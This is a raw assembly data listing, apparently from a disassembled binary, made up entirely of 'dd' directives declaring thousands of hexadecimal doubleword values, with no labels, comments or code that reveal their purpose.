dd 0AF698303h, 0F5BF1006h, 20B89E2Dh, 997FAF7h, 2E8F46A0h
dd 3F77DFB6h, 0CBE64CF3h, 0F387A813h, 0D2512861h, 47A8024Ah
dd 52C809B4h, 85E9B776h, 19D1E643h, 310D038Fh, 809F84B8h
dd 3D8128F4h, 0CF6FCBCCh, 58341034h, 0E668570Bh, 66C0BF5h
dd 0A104DFF4h, 887A60DEh, 5FD88C4h, 106F7005h, 4D1F44FBh
dd 0B3A912E1h, 92FCC184h, 0F6F4396Eh, 0E546F625h, 7C47BCF6h
dd 160A18BFh, 2C88895Ah, 76320502h, 3BC2094Eh, 9B085D4Fh
dd 0E14B00EFh, 0FA012E16h, 58329AC6h, 87342A3Ch, 52E509F8h
dd 0B2720CC7h, 0CD8FBAC5h, 785F9E41h, 0B4543039h, 53360481h
dd 52E30507h, 97B6EDD0h, 6B1A49EEh, 4A7CAECEh, 0F06F95Dh
dd 0C612C5Ah, 4B29E1C7h, 11D9F6F1h, 0EC4AED08h, 78B2C4FCh
dd 0F65B0913h, 472F6945h, 5DE4ADCDh, 6E41D22Fh, 65E59D12h
dd 0F11056A4h, 0BA16E05Bh, 0ADA7E9F1h, 50F4027h, 88820A98h
dd 9BD89A4h, 10F77C01h, 0B4DAE942h, 6F5D1FBBh, 0F4FE6FEEh
dd 1E9B4849h, 850802E6h, 0D75E2DF3h, 91F7E0F8h, 0FAAA3BEFh
dd 0C2FE39B5h, 0A5ADCA3Ch, 96F50762h, 0BE9B9028h, 33575AB3h
dd 2460E065h, 2D734C38h, 840EA48h, 84D35029h, 49CECh, 0A0239BBh
dd 0EB1FC120h, 0FC025108h, 0FC06AA58h, 23092D7Dh, 2F655F69h
dd 0E9DA954Eh, 58EEA049h, 67FA25h, 0DB35024Dh, 896C3F01h
dd 8E30C35Ah, 903242B9h, 0D93106C0h, 0E95754E9h, 0C82DF705h
dd 57C4CCD3h, 0F06EA1C9h, 0FC5A52F0h, 37C4C0E8h, 3CEB1344h
dd 405BC212h, 0EFB5F7B9h, 42E9F316h, 7C3CD2D7h, 0CF7A9857h
dd 1311D277h, 17681D0h, 0CD8B7EC6h, 0B5F1B85Eh, 21AFEF17h
dd 0B4C3E9h, 2E70F0BBh, 827A3EAEh, 29107873h, 0B12627Dh
dd 3BB35D08h, 410BC6E0h, 8012527h, 912608EBh, 637EF01h
dd 39FC0571h, 0A6CD66A8h, 5D4AA958h, 0BCE5C9BDh, 0C891E20Fh
dd 38853554h, 311B1B69h, 9FF953C1h, 0A5442ACEh, 161255D5h
dd 87D203FFh, 1300D370h, 0F388C4F6h, 9F0624E9h, 57004FC5h
dd 0D3B22BFh, 0E294C00Bh, 1F4F2C4h, 2CA6FD5Ch, 0E1CB2461h
dd 0E90C5279h, 67C3EB5Ah, 5E8CB141h, 0F8D4174h, 1132A43h
dd 240705EAh, 0D067178Dh, 0EA4BE059h, 0D6425424h, 0A343800h
dd 0D2D8E910h, 12405EABh, 0F79181B6h, 0CCEA60DDh, 0EA7D2DF6h
dd 4E1E9559h, 450327E2h, 556BC705h, 1F4BD4FAh, 2F3F78A9h
dd 41DE3628h, 0CCF9444Ch, 38F006C0h, 3A88FC5Fh, 4DBDF650h
dd 0F9026682h, 5B775545h, 0F803D941h, 5FC083CCh, 0F717B4C5h
dd 90B9030h, 0E8CD1DC3h, 319E99D3h, 6DAEE984h, 0C1C63CD2h
dd 0B8DE1D66h, 8EC1C0E3h, 5067CD94h, 0C2B5D897h, 0F58853BDh
dd 95F68180h, 0B5461B7Ah, 8EF541E2h, 805229BCh, 8E558533h
dd 0E0295E34h, 8B75986h, 1070C25h, 2209E9F1h, 4131ADF7h
dd 0CA65F2A2h, 165B6878h, 0E355FC71h, 0BC3B4F70h, 2F04C72Eh
dd 77FDDFD2h, 0E82757CEh, 0D0ED7C5Dh, 307A5F3h, 0BB533862h
dd 5C81373Ch, 8A13B7EBh, 104F1254h, 0E93808B4h, 994BB8AFh
dd 9263CDB9h, 42B8EF0Fh, 5F3922D3h, 0DD05B1E3h, 4D77860Fh
dd 0C0A960EEh, 6C007E2h, 5BCDB302h, 3E4C33E9h, 1C3DA57h
dd 0D15A0676h, 0E0105EE2h, 82A14BD2h, 124CA283h, 0F5B73565h
dd 5921FCBCh, 0DD0C9300h, 58D735F8h, 915C3D5Ah, 0CF7C8889h
dd 263D282Bh, 5CF57F8h, 0BEC158C1h, 9D2F6DEDh, 0BEB7F092h
dd 0F2D7F627h, 88250B3Bh, 0DA875BFCh, 0E9E560D2h, 63B6760Dh
dd 68801498h, 0A3256228h, 0A8459A21h, 0D407A43Dh, 2CD0F680h
dd 75C388F7h, 0B1915B58h, 9A5DD20Fh, 0AA5A4B6Fh, 916D4A0h
dd 35FFDB1h, 2804368h, 0A74FC15Fh, 5B5D89C8h, 4B879979h
dd 5707F2BDh, 0FE819962h, 0F68B4102h, 800850E3h, 480F37Fh
dd 5488F01Eh, 6934BB41h, 2C92AE37h, 6853A901h, 47E33F0Dh
dd 0FBDF7573h, 8EEB982Eh, 5C5B0D9Ah, 0C8851F3h, 3A5D6C08h
dd 985B5995h, 29BDC116h, 4EA94B95h, 0E091D7F8h, 6AA88E4Ah
dd 12052F66h, 23AC7851h, 0C4383B02h, 1D608127h, 0E19C1362h
dd 0F8CB722Dh, 46BB3AE3h, 2583F87Bh, 785E4EDCh, 6D90E0E9h
dd 202493E2h, 0BD60A080h, 0B43B1E5h, 0AF51F8E7h, 0B9F48492h
dd 17580CCBh, 3D720966h, 206055ECh, 1254AF0Ch, 521DB060h
dd 1503FA7Ah, 5E0AA209h, 0ED38C68Dh, 9351593Bh, 67FF0E4Eh
dd 5C76A33Ah, 0A891874Eh, 2901BAA3h, 648EFD5h, 0F6BC4BCEh
dd 0FB4E5B84h, 5709AD8Eh, 0F9845F54h, 89F3F0CCh, 25059CB7h
dd 0DDD0485Eh, 0BD81AA7Bh, 25BA22D4h, 147D8951h, 54680485h
dd 0C3C7464Bh, 3506408Fh, 47640E18h, 48B901A2h, 0A9E9BEBBh
dd 0DCA758E4h, 3BB2845Fh, 23057302h, 0F3604E2Ch, 0C4027C40h
dd 68A0F4Bh, 9890FD77h, 0B6408180h, 0CB287FE9h, 6654E7D1h
dd 95FC8F58h, 8319A73h, 0F44238B4h, 81A4F503h, 8B290B3Bh
dd 47647E70h, 0A47FE256h, 46C4ABh, 5FFD2916h, 0BE6228BEh
dd 0CE729902h, 0FD96E965h, 84CB93A4h, 1C91BFF2h, 1C680389h
dd 2ED4ADA5h, 0BD81E862h, 71F9072Eh, 0EC278120h, 0E91E1AD3h
dd 2A833131h
dd 63E055B0h, 241F4F89h, 0D2C55A59h, 8CEB9768h, 5E4B5458h
dd 0EBD272E3h, 19318B29h, 59DE1DA5h, 4E3FCA01h, 1187364Dh
dd 0E05C89C2h, 5EAE968h, 0A1B92EE1h, 305077CBh, 0A44F4191h
dd 28EF075Fh, 0F327682Ch, 7003542Ah, 94A0EE9h, 3482B874h
dd 0E3A40EC3h, 0CD41FBC8h, 2B404F1Fh, 0FC07EAFCh, 0B092BA7Dh
dd 5800F02h, 6C6D3DBCh, 5F998253h, 55445668h, 0E19B281Eh
dd 55C3E96Eh, 3AB19840h, 0D36E2881h, 0F399333Ch, 588A2AA2h
dd 1D7DAD4Bh, 0E6525AF4h, 305BD660h, 4AF3B7F0h, 41335D25h
dd 52B21A01h, 0E9EFC380h, 0C84BEBE2h, 256F1D68h, 0ED45135Ch
dd 0DB0C3524h, 1E2C2A47h, 49C6887Dh, 839B75BFh, 83854C2Ch
dd 82544558h, 0D5AD91FFh, 2D22133Eh, 4337210Ch, 9576BAF6h
dd 0C72FE32h, 20F5525Bh, 449D6D56h, 6ACEF51Dh, 69428260h
dd 5E92F78Ah, 64B8741h, 8868150Eh, 0D6643845h, 39AE452h
dd 0D12B1998h, 0E9044FECh, 12B8C002h, 0EA0D23C2h, 6FFD8C82h
dd 2885F909h, 378200F7h, 0F7817B05h, 4F2721A9h, 253CF453h
dd 0EF0BAAD0h, 711E7466h, 25BB00DAh, 0DDE98B6Fh, 0B1E4B741h
dd 16612C0Fh, 0B2062041h, 0EEAF2AEh, 50D92956h, 0CE10EE72h
dd 94872E08h, 96102226h, 0A7115826h, 0FC27F8F6h, 9260D28Bh
dd 0B75C6B11h, 0E9F305B3h, 0C98A783Dh, 8440AD5Ah, 5CE5AD6h
dd 3B66391Bh, 5BFA80B0h, 8E01032Fh, 51897E03h, 2E985FFEh
dd 0C59FB340h, 2B8890Bh, 77EA9ADFh, 0E9E13E98h, 2ACDC825h
dd 0EA02D56Bh, 0C033801Eh, 2A187D04h, 0E6EE31FAh, 110258EEh
dd 2616CE03h, 0AEB73B82h, 3FF62F62h, 0D25368F5h, 0D1BA8085h
dd 1BAC6800h, 607CF281h, 0B428500Fh, 0D2F35C5Ah, 25A7012Ch
dd 0DEBE5F02h, 164FCFF2h, 57D1A84Bh, 3C08CF17h, 0A74249Ah
dd 698D3E1Ah, 5B3F3C55h, 5523B45Ch, 0A4BCE927h, 53BEBAF8h
dd 0F953C6h, 0A47ECEA6h, 0CD780178h, 4108ED51h, 49DC1E62h
dd 4A3762D7h, 56BC780Bh, 96F7C983h, 197DF367h, 944A2D76h
dd 0CD5171FCh, 2C96EC7Ch, 2294291Dh, 78BB5096h, 0EC27E997h
dd 168A644Eh, 0D671F08Dh, 1D26CABEh, 66604AF6h, 0E941942Dh
dd 51AF64BBh, 1431D054h, 152B2CE9h, 0CB4E5B66h, 14344A3Bh
dd 82F495BDh, 5B07F2E4h, 0CFE0C665h, 695D9166h, 0EC9994F7h
dd 9E1BB02h, 6E55ED9Fh, 756813AFh, 0D25F6136h, 0A2BD0039h
dd 0E3824C4Dh, 302AB417h, 11FDBB64h, 0E9792804h, 5BA7BDA6h
dd 1367A34Eh, 0D8085FF9h, 0A6581684h, 47B95EF2h, 0C7B6A10h
dd 0FB0C8F68h, 417F4A13h, 0D61EB195h, 7F042F3Eh, 98E377F3h
dd 0EAC20225h, 34D6888Bh, 15C2574h, 371A0268h, 0C81CF680h
dd 6AA61113h, 9D08A716h, 20E9C28Bh, 4A4142CAh, 36F8E032h
dd 809C72B6h, 0D528CD87h, 0A1D4F1C5h, 8FEF9885h, 500B42C0h
dd 0DC31E9BFh, 5D5436A9h, 9C59A7Eh, 8B0BE8C1h, 9F14D547h
dd 0FEAC544Ah, 8140823Ch, 608EE206h, 90C6E70h, 29074C85h
dd 0F41AB00h, 212515E6h, 92A7F0CAh, 0EE36CBA5h, 0E9C1A15Dh
dd 8B519D32h, 7CE01FE7h, 5FA7C9EFh, 0E689CF32h, 0E98905D4h
dd 25475CEEh, 8E20A66Ch, 2CAC1EE2h, 90D713BBh, 0C49EB78h
dd 0E39BA3Bh, 49136AF3h, 0A2EFC257h, 5476BFFCh, 9B666216h
dd 0DFCF8902h, 35594041h, 0E706A6CEh, 0FF70F90Bh, 8BB7FB1h
dd 2FC94586h, 4FF06B87h, 4B5B2535h, 8318E329h, 0C230E9h
dd 7ED8BE34h, 0DE2978F5h, 53AB5B4Ah, 3C6BE9CEh, 0C6C0C177h
dd 58F4E580h, 0FC50EC28h, 0E6394BF4h, 5FAE11D2h, 0BCFF598Bh
dd 0DCEE4CB0h, 78BB9DD8h, 4FAE7A01h, 5726E943h, 0B88E6C38h
dd 267E0BC7h, 816EC29h, 64EE0158h, 0F9111272h, 15D54EFEh
dd 3586E406h, 0A4DE974Eh, 0B7B70278h, 749F7322h, 8418430Ah
dd 4B5BA19h, 0F7133F40h, 0B1D180D2h, 7D5AC30Ch, 2ECB95F0h
dd 0AC026A83h, 0B44E15D6h, 813A092Ch, 0A632FBCDh, 0EF837E26h
dd 0D4888280h, 492D7Eh, 0AAF65486h, 94E226E4h, 4572534h
dd 3CE0E726h, 5AF37288h, 66BCF4D1h, 0E7C76824h, 1CD3708h
dd 4598F2Ch, 5D057A1Dh, 0D96086CAh, 9FD26850h, 0E7451542h
dd 0C113F64Bh, 7880EAE9h, 6CB785C5h, 90C719A0h, 7F57FB0h
dd 0B6521AEFh, 0F7D6D7C5h, 0AACEF4DEh, 0B5CF91B2h, 7A4D4F7Bh
dd 3F92D696h, 0DAE4C05Dh, 5ED52F07h, 40087CE9h, 0A12AF4BEh
dd 5AB52ED0h, 35D25EE2h, 6BB6A5EBh, 0A51199B1h, 876A51E7h
dd 0C1E1656Fh, 0A56B533Bh, 0B0F85893h, 0F4349BDh, 0AE0FC44Eh
dd 0A4FF0E8Dh, 0A17F29F5h, 6BA52B05h, 52C4EF32h, 0F319FC58h
dd 79D5CCE9h, 688256ADh, 0CB7610A7h, 1C655860h, 0F796A24Fh
dd 0BB53CD48h, 0B0261F02h, 60D8294Ch, 0A105C802h, 0F7DA590Ah
dd 2B41F06Ah, 4DEE338Ch, 624E4C8h, 4B788C2h, 33F5C25Ch
dd 0C5CA8802h, 0EA808712h, 2A2E0B12h, 0D2F658A1h, 0EC093AFEh
dd 778E6E51h, 1955902Ch, 3E2EB252h, 5AD0C0ADh, 45420CB6h
dd 95866662h, 5D5A387Ch, 44AF1D65h, 26AE1C68h, 9775A5A2h
dd 0E9083186h, 94FDC6BDh, 0B7524A32h, 0A868C27Eh, 0AB4D725h
dd 8D60E92Eh, 4BF2A5BAh, 3991AFB8h, 0EA703806h, 23B8625Ch
dd 4CD1EA5Bh, 0E089F99Eh, 52E869D1h, 20B4A62Ah, 0B8E19FEAh
dd 31FEF2C3h, 1F305C79h, 0B42D4A9Bh, 0E91853FCh, 0E8795F18h
dd 4A5D8132h, 70BBD798h, 0A8E9DDE8h, 943D844Dh, 0EDF130BEh
dd 2F7C3CC6h, 13DA1B65h, 4E32B12Fh, 74F99DABh, 425A76CBh
dd 0F620BF10h, 0F3956C1Eh, 85B0C488h, 90B8C20h, 0F7316F14h
dd 0F887CB07h, 0E339D027h, 97FF13Ah, 0D7953067h, 4EB33791h
dd 41354C94h, 0A7AC7196h, 1D6800FCh, 175C284Ch, 78F260BDh
dd 0DAF77E77h, 5E6102B5h, 0EC36C492h, 50149EB4h, 8980A884h
dd 5F522EC2h, 3158C241h, 0C0954CFAh, 1328829Ah, 0A85D292Ah
dd 0AFE98397h, 8E455852h, 782C064h, 0BF35553h, 0E01F3F9Ch
dd 0B87E6316h, 538BC179h, 0E20045FCh, 80481858h, 6A651058h
dd 0DF31B91Fh, 47137D74h, 55C0F576h, 3D0B8CB8h, 76A91B5Eh
dd 0BB2C749Eh, 4D7FCF8Bh, 0AC3B2F22h, 59E21B27h, 0CEC8D45Bh
dd 25AF0A0h, 0B9A56EBCh, 68129816h, 54415D2Fh, 1F79F6D6h
dd 4EBEE9C1h, 47221E41h, 0A4ED4A75h, 9549FACh, 94802902h
dd 2891EDEBh, 0C586D94Bh, 0F9E52041h, 7468BA04h, 18AE5663h
dd 35AC46D3h, 0CC2B5F81h, 6838FDDCh, 0F0B8CA0Eh, 140152C0h
dd 0D65BE97Dh, 0FC7E8F4h, 171F7C72h, 0E3EA1365h, 39C29954h
dd 9231A93Ah, 1A765501h, 0B7211C41h, 8049E31h, 0EC489EFDh
dd 409F1B10h, 6E009C8Ch, 8F0D2164h, 3F145Eh, 0A31AF32Dh
dd 6E8C10Ah, 83F7E910h, 7D225B28h, 5271BC21h, 5616CF5Ah
dd 17AD5E54h, 0CFC3E9F0h, 440BC093h, 8465D3A2h, 98175868h
dd 0C641E231h, 6E12EE85h, 0EE82BB82h, 0A195D2BBh, 586F58C1h
dd 4B694C3Fh, 34061F27h, 64CFAE7Eh, 825B0B3Ch, 0BF006EFBh
dd 1F57753h, 73EF814Fh, 3FEDC029h, 9D0412C5h, 890442A1h
dd 12D8BDF1h, 7CD5B64h, 0F60290E9h, 6C1385D4h, 463D4AAh
dd 2E6A289h, 571D2168h, 2ECDC018h, 0A0604226h, 3AD48D13h
dd 0FB1F5EFAh, 0D9FFD532h, 80472E7Fh, 30AC2911h, 0B14A25E9h
dd 0DD939BADh, 5D4DAD1h, 9C028428h, 175BDB7h, 9561ECD6h
dd 644BBCD1h, 0B5524CFCh, 2E986820h, 24A9D95Bh, 0C3595077h
dd 832DB145h, 4D6E69F1h, 10F1E9ECh, 2924F5A1h, 0AAC21257h
dd 160CF686h, 40596B1Eh
dd 1607EF7Ah, 0F7004D08h, 0CD8145D5h, 762A234Ch, 5EF50D53h
dd 2048B8A1h, 4D5AEFFEh, 0F9943049h, 53578ABCh, 26A019Ch
dd 2B811A37h, 0EC2D22E0h, 0B4CB6289h, 5F06AFD5h, 1ECB9586h
dd 6ADB55E1h, 168240D4h, 0B2151F6h, 16385D54h, 17BCE64Dh
dd 1372062h, 3A620568h, 0FC4F158Ch, 492B2E04h, 0D5170907h
dd 1D0E9F6h, 954A98C3h, 89B7B4CBh, 0E985C05Eh, 87887F73h
dd 1F541464h, 951DBC09h, 57328076h, 4A1AEFBFh, 49EA5C7Ch
dd 0CBC9B13Bh, 0AB0084F1h, 3DCB64C5h, 0E926B340h, 47092515h
dd 72881653h, 0C4C650B1h, 5C502814h, 56A94FB1h, 4A69F84Fh
dd 805BEFCh, 826F4D26h, 5D29845Dh, 0A6D9CF28h, 0E54A0276h
dd 7EE10CD9h, 53BD0069h, 10842758h, 8E040563h, 4D777DE8h
dd 57FA85EEh, 0FC38BA89h, 0B0496A7h, 765895E9h, 0E933D9BDh
dd 6804ED00h, 98B72650h, 30291584h, 0D72C6DC4h, 3C79FF23h
dd 7D2F151h, 0E0D2D508h, 1C77B1C5h, 6DAD2B30h, 25B584F3h
dd 0DB0FE226h, 7774CCCFh, 0FE0AAE4Ah, 163FC289h, 2D4BDF0Ah
dd 0FA591128h, 0C79C4BF0h, 822C77DBh, 0C42E0Eh, 0D335EF0Fh
dd 50EB6954h, 0DD3B4D0h, 3B256803h, 4C8E53E4h, 82A5B134h
dd 0D70B6146h, 6299AF02h, 5434A15Dh, 40FE7B22h, 48054A29h
dd 417B6EA0h, 1694E8A3h, 81181400h, 0F90B2BE5h, 4A38CE76h
dd 1B80FD29h, 250E60E7h, 3D5B24B0h, 2AAFA784h, 6FE9172Ah
dd 12FF9B52h, 5F2CCA3Dh, 40B3BBECh, 0C4B2ACD5h, 8EFA6EA1h
dd 0F4257EA7h, 27D172A7h, 0A198376Eh, 5582566Fh, 3915D151h
dd 0C83119EFh, 8A5C105h, 0BE5918A4h, 0E57C2BD9h, 87339C86h
dd 2E55E605h, 8E80491Eh, 9E1F5F2h, 5E50E9BFh, 0D94EBBFDh
dd 0C92FD35Ch, 4AE160FFh, 2D10E983h, 0F4300A8Eh, 0CC86E640h
dd 8DDD1F6h, 4FE93BBCh, 10A0DC7h, 0A5036055h, 2B3107FBh
dd 0CC1308DAh, 0FCD3C503h, 88A14DE1h, 84A1110h, 3088FE3h
dd 0BBCF0D41h, 88C1DD08h, 1EAF4718h, 1131207Bh, 0E6C90852h
dd 47B72088h, 10F57E0Ch, 0CD1E40AAh, 0BA088B62h, 6CF20348h
dd 22DE2010h, 10F15418h, 8C467B0h, 5F046015h, 0C59C067Eh
dd 0E0762028h, 10348D33h, 4929313Ah, 8CBF7259h, 18F0B208h
dd 884621Eh, 2103D3DFh, 0D2201836h, 9465084Dh, 15A7F383h
dd 98F96720h, 8618B437h, 0EF40E17Ah, 88B633Fh, 18588C1Ah
dd 0E508624Ah, 7423028Eh, 2059FE06h, 220C0DAh, 7E3520ACh
dd 3117CB20h, 56086F14h, 0B799016Dh, 0F68B288Dh, 98B92108h
dd 0BA19D608h, 0ADC180ECh, 135A8A9h, 885384FDh, 0E8081011h
dd 0A83D10C0h, 389FA618h, 84809CFDh, 518F8164h, 8C3AF1ACh
dd 28D5E208h, 7E144045h, 0A05111DFh, 5464D444h, 80B29CC3h
dd 0D383730Ah, 9008106Fh, 0E521875h, 80BC9A28h, 10C4AE15h
dd 0A2069232h, 574408FFh, 20C2632Ch, 810B71Ch, 0B61803DFh
dd 92442085h, 80544080h, 6D8005C7h, 0DBF98060h, 437D08C6h
dd 0FF40A819h, 6E18C480h, 9AF3055Dh, 85CA44Ch, 0A3A4A89Bh
dd 0F10CAE2h, 0F8B2959Ch, 8B6DA19h, 69FC5273h, 0DEB80849h
dd 3A94C02h, 101074C1h, 1B10977Ch, 7F5918D4h, 0C430B408h
dd 6F70518h, 20105CEFh, 2620941Eh, 0D92C208Eh, 20623520h
dd 2349ED72h, 61161808h, 0CC562218h, 0B008A179h, 40537740h
dd 0B8650CBBh, 0CC468530h, 3118AC04h, 33081ADCh, 40D60138h
dd 9CC5703h, 4D1CA23Dh, 0DD98494Eh, 5AE01088h, 0CB9C308h
dd 0AB08F238h, 90183F66h, 388949D9h, 0FC87F515h, 0E9202320h
dd 92C32091h, 182CC431h, 0EB027163h, 0C861E8A2h, 9DC884Bh
dd 587022ECh, 702C02C7h, 298DA02h, 0C04A31C4h, 0B3B6B422h
dd 27C9F02h, 6802A609h, 4A05057Bh, 95ACACF8h, 0B319EC29h
dd 2060081Bh, 0A499E894h, 9E57C2Fh, 0CF275523h, 3B448EC7h
dd 47001D52h, 0EB02752Ch, 0E896513h, 60BAB9B9h, 8F4401D4h
dd 0B490240h, 8BF775C9h, 408FA4C3h, 0B9F003DEh, 33310163h
dd 0B10FC0C0h, 2C30614Fh, 0DE8768ACh, 0DF6A1A7Fh, 1E7BD46Ah
dd 6133753Eh, 0F8C6B301h, 3F50BC70h, 1416CE29h, 71319756h
dd 80036B5Eh, 0D6444E0Ch, 0C14D4536h, 0FAA47810h, 0DA816A1Fh
dd 6BBC5467h, 552DE801h, 0E238E642h, 4FD3F155h, 2980012Dh
dd 6F91022Dh, 0D95E358Ch, 0BA754965h, 93A65C18h, 3ED6E1D5h
dd 7A101AA3h, 66AA4BFFh, 0B804087Eh, 37E95517h, 0E580C6BFh
dd 79B0F603h, 0F1524845h, 0EB74C33Fh, 685A0AD7h, 60A82880h
dd 1E0F5FBAh, 0E2812700h, 6A0815F9h, 25B80250h, 563A7F33h
dd 161A4F7Ch, 6FB080DEh, 16BA8E70h, 0A35BDE31h, 0B39B58F6h
dd 6DBC05BBh, 0BDDA31D5h, 20FA96A9h, 0B5E95308h, 1E80D540h
dd 4C5162C2h, 0E7D3D0ACh, 0C641F700h, 0D9880F35h, 0C119DE44h
dd 3ED48CA4h, 1FB82B57h, 612BBA4Ah, 0BB80500h, 0B12D7DFAh
dd 4BF30C16h, 4B71D0F0h, 0B0B5F8B0h, 17ED64ECh, 0B8C38324h
dd 4BD386FCh, 0F3810206h, 998BC55Eh, 68047F54h, 0EBA257FFh
dd 96DBD5Fh, 0E646C448h, 0B2D51AEh, 0AA14DB2Dh, 225EB763h
dd 0B28E9590h, 0E55F5809h, 0B8923CCAh, 211D4EA1h, 435DDDFCh
dd 4ECEF181h, 2A16D8F9h, 3E80088Ch, 617027EBh, 5A685620h
dd 6A4247Dh, 5B0AAC64h, 69F4B2BAh, 28C1C50Bh, 5C601C2h
dd 3EE91E4Bh, 5FBD000Ch, 11DC1879h, 30DD224Dh, 0E918EE7Eh
dd 3538CD57h, 0C1F83EBEh, 0F84E96C8h, 85462F72h, 802EA77h
dd 0DE014AE9h, 1665EF23h, 0ECED298Dh, 2DD03EE2h, 5A337891h
dd 0AD571040h, 4ED7CAAEh, 75ACEF44h, 18BC41BAh, 4029DC59h
dd 473D629Dh, 9E9494Bh, 3CE8BE10h, 0A840BE05h, 441CBAFh
dd 4C81FBE4h, 3F7FE0C3h, 0F15C5F4Ah, 3853C944h, 0F83BC1B7h
dd 5A3D5B3Ch, 4F0D6801h, 3B86ABE9h, 291240A6h, 805BFDD8h
dd 2FC919C8h, 0E77AFB01h, 0F0B01750h, 0B6C056F9h, 0C5EE80C9h
dd 1495F5E0h, 0E830310Bh, 7901527Ah, 2456267Bh, 14693E0Dh
dd 705DBFFh, 58C5080Ah, 51E63FFEh, 45281428h, 0F505DCF7h
dd 2D0917B7h, 0CF20DF4h, 8E2C15Eh, 55010606h, 18F96856h
dd 1C821457h, 8A0F04E6h, 6B12D063h, 0FC40A9EBh, 4E2CBAEEh
dd 0CEE29559h, 0C527827Fh, 0BCB8F468h, 8626ECC5h, 0FD249295h
dd 5BA0A5E2h, 0FFCCEB81h, 213C060Fh, 6F836D9h, 0E6C2701h
dd 22CF1EE9h, 170805EAh, 91AE2F7Bh, 6A5C9CCAh, 67ECFB7h
dd 226802EDh, 13207D16h, 315817C7h, 7F8EF6D0h, 9D28762Ch
dd 16CEF740h, 96796092h, 3E87882h, 1E580CC0h, 31E91C69h
dd 0E59F8F1h, 81E28006h, 73037ACBh, 76F29D35h, 8F51770Bh
dd 0F7BFE205h, 3564F2E2h, 975D7C0Bh, 52125C4Dh, 24F21F61h
dd 67F86843h, 20A39EBDh, 489DFC47h, 3E55D624h, 469A4044h
dd 6B7F9645h, 9AC0985Ah, 9D8E4F18h, 6499304Fh, 0C6BB2CCBh
dd 30F00211h, 0A0E97FE0h, 7410FBA9h, 0EA836065h, 2D70684Eh
dd 3AE21F94h, 0DE79CC9Eh, 0FC588844h, 0E6330DBh, 0FE08EEC1h
dd 107963E4h, 94C367BFh, 0E88D4FBBh, 6BB70036h, 0C981683Eh
dd 0BA3D1D55h, 0CDC18011h, 0F4B6541h, 43EA8317h, 0FD025EBh
dd 1258694Ah, 240149B3h, 60793550h, 0C9D466C0h, 2AFD2473h
dd 1F9B884Ah, 890D6027h, 7A5354E5h, 5DF437E9h, 26C9EECEh
dd 0C5801CA1h, 8E91F8DEh, 0D38011DFh, 3059CC88h, 0CFE3E4DCh
dd 866FF608h, 6268CC1Fh, 0B1955D46h, 46305603h, 32770030h
dd 7F65CE81h, 0F7390A1Dh
dd 8DE30D6h, 92100DE9h, 6AC20427h, 0C04F197Ah, 14023EAEh
dd 0B1F343FFh, 0E9324CA0h, 4ECACE38h, 941264BBh, 82CFBE1Eh
dd 686CE90Ch, 0EB582864h, 18E410D9h, 0D9BC5B3Dh, 6732851Dh
dd 0C736DD4h, 47FBE915h, 1B0F0D10h, 463C8E1Ah, 0C4692B8Bh
dd 0A91C8730h, 5268C2DCh, 16AFC635h, 0FF7DD2E9h, 0E93BFA39h
dd 83C5B4A5h, 9D6693E0h, 9F4FCF54h, 0DFD389E7h, 0FA087A84h
dd 1763372Ch, 0B1DEB6A3h, 2EC1CD29h, 455FADB6h, 91E15695h
dd 0C9DD8833h, 0E6A9EFECh, 6AEBE158h, 0FD04B5A1h, 74570CC5h
dd 12108EEh, 0F694A937h, 0B6CEB101h, 4DC0C2F9h, 0FFFCA52Ch
dd 0BD027F94h, 7F8205B9h, 39F566A0h, 0A70964BBh, 11228DE9h
dd 54E46D09h, 0B6A2F6B4h, 0AA5A123Eh, 854A72Dh, 5118A3AAh
dd 73ACE56Bh, 0A84F5E29h, 6E4312F7h, 0CBC06EC1h, 63F1B108h
dd 0E4348EF9h, 0AABD0655h, 0A5422935h, 159ECD02h, 60457173h
dd 0FADFE476h, 9C5897FDh, 0ADE98928h, 0F589CE50h, 831344D2h
dd 7C4E00BEh, 0C32973EAh, 6C9DBCAEh, 89DD85D2h, 48845D54h
dd 60841809h, 0C0287174h, 427A2E0Ch, 0FC2FE916h, 8B9B79A9h
dd 0EA7E2DA6h, 4805C363h, 23014C43h, 860F10D3h, 0CCC6DE96h
dd 8AA9E918h, 2F685010h, 0C8126B4Bh, 8252E95Ch, 4A65F518h
dd 667A579Dh, 0CEE86729h, 9F4FBFA8h, 0B465848Ah, 818E98B8h
dd 89B9295Fh, 3592EFD2h, 0EBC8FD4Ah, 74C00AB6h, 0ED80CDFEh
dd 5FEBE01Eh, 558BC59h, 7FFAE9BEh, 3CE4A0B4h, 307B4061h
dd 88384796h, 5B5B871Ch, 17C44DF2h, 8ED8EEF9h, 164B598Eh
dd 0AA4F2105h, 2606AA78h, 2CFCAE70h, 16CC59CBh, 0B6980002h
dd 0E97E3C55h, 2CC48C20h, 0B2FE31h, 9BD8D4F6h, 0F55801DCh
dd 8855B282h, 2F2CF93Ah, 12E07636h, 0A2EE2081h, 0C6DFDFCEh
dd 9B19DC2Eh, 8B454C0Ch, 315C5187h, 0CE358E5Bh, 0D302208Ah
dd 0F7016BF4h, 0DEADF0C5h, 0A115807h, 16AAED94h, 0BF103E20h
dd 9A0BA672h, 0D8743D4Fh, 2177278Eh, 31443174h, 596161AEh
dd 5D1E8402h, 8DAB1468h, 26ED3AA3h, 0EAEF44B7h, 0A35B67E7h
dd 0B28AD24Bh, 0FE0A21D2h, 0FF8004A8h, 0A0261E6h, 55565EC8h
dd 0F75D58D6h, 0C20EDD52h, 88397BE9h, 5D72C1ACh, 512726E5h
dd 5694CC08h, 695759B7h, 0CD09DBF0h, 7567C957h, 8B0F7300h
dd 0E3DE38D2h, 0CA882687h, 0DE835055h, 588E7246h, 681690DFh
dd 0F218529Eh, 45BC95Ah, 4F0ED65Dh, 57491BC6h, 6568F101h
dd 0C8893A72h, 7C54420h, 36C34C96h, 0ED0A6F29h, 1580508h
dd 3D36C0D5h, 79151151h, 70F3AEE9h, 52272790h, 0B2F7228h
dd 3C0473C8h, 22F6CD03h, 866CAF24h, 1C2D8446h, 0C336EA80h
dd 0DCB4DBC2h, 0A3F9D4DBh, 96102C5Fh, 29E3280Bh, 0A3E5DDEEh
dd 8D971A5h, 0C100F721h, 840F04E0h, 0A59E52h, 0C755E405h
dd 0E9E60191h, 5C61744Dh, 6B680BC0h, 0D5AF302Ah, 0A00B0955h
dd 0CA46EB29h, 3DE3124h, 0D8EEB373h, 96285111h, 0CF07C694h
dd 2455B907h, 28A33E0Ch, 0C53702A0h, 5ED860DAh, 3D513341h
dd 0DA84098h, 655B38CFh, 0B583F4B5h, 99205BCCh, 2AD020CAh
